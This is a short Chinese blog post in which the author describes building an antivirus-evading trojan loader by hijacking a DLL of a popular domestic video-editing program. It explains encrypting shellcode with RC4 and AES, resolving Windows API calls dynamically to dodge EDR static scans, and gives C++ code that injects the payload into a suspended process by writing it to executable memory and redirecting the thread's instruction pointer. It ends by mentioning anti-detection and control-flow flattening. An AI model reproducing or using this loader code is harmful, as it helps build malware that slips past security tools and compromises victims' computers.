最近突然想重拾一下免杀,遂随便写了个白加黑注入免杀🐎(注入是因为我希望不影响原有程序的功能)。
选择受害者
一拍脑门选择了国内很流行的某剪辑软件,后面发现这玩意似乎有白名单?
使用 AheadLib+
一键生成了 DLL hiJacking 源代码,方便后面的修改。
开造
首先参考了 Esuika/Shellcode-With-RC4-AES 项目,选择了直接复制粘贴代码使用 RC4+AES 对 shellcode 进行加密,抛弃了原有(两年前)的 base64+xor 方式。不过我认为 shellcode 的加密方式不在于多,只要能藏住特征就够了。
接下来采用自建 WINAPI 的方式调用注入函数,防止 EDR 静态扫描到函数调用特征。
typedef BOOL(WINAPI *pCreateProcessA)(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
typedef LPVOID(WINAPI *pVirtualAllocEx)(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
typedef BOOL(WINAPI *pWriteProcessMemory)(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten
);
typedef BOOL(WINAPI *pGetThreadContext)(
HANDLE hThread,
LPCONTEXT lpContext
);
typedef BOOL(WINAPI *pSetThreadContext)(
HANDLE hThread,
LPCONTEXT lpContext
);
typedef DWORD(WINAPI *pResumeThread)(
HANDLE hThread
);
typedef BOOL(WINAPI *pCloseHandle)(
HANDLE hObject
);
const char *CreateP = "CreateProcessA";
const char *VirAloc = "VirtualAllocEx";
const char *WriteMem = "WriteProcessMemory";
const char *GetThreadCxt = "GetThreadContext";
const char *SetThreadCxt = "SetThreadContext";
const char *ResumeT = "ResumeThread";
const char *CloseH = "CloseHandle";
auto MyCreateProcess = (pCreateProcessA) GetProcAddress(hKernel32, CreateP);
BOOL result = MyCreateProcess(nullptr, (LPSTR) "idk.exe", nullptr, nullptr, 0, 0x44u, nullptr,
nullptr, &StartupInfo,
&ProcessInformation);
Context.ContextFlags = 65539; // 设置上下文标志,指示需要获取的上下文信息
MyGetThreadCxt(ProcessInformation.hThread, &Context); // 获取新进程的主线程的上下文
v24 = MyVirtualAlloc(ProcessInformation.hProcess, nullptr, shellSize, 0x1000u,
0x40u); // 在新进程的内存空间中分配空间
MyWriteMen(ProcessInformation.hProcess, v24, v7A, shellSize, nullptr); // 将 payload 复制到新进程的内存空间
Context.Rip = (DWORD_PTR) v24; // 设置新进程的主线程的指令指针(RIP)为 payload 的地址
MySetThreadCxt(ProcessInformation.hThread, &Context); // 更新新进程的主线程的上下文
MyResumeThread(ProcessInformation.hThread); // 恢复新进程的主线程的执行
MyCloseHandle(ProcessInformation.hThread); // 关闭新进程的主线程句柄
这是一个非常简单的远程线程注入方式,因为我懒得写 APC 等等的睾寄注入了。
再加上一点点反检测与控制流平坦化就完成啦!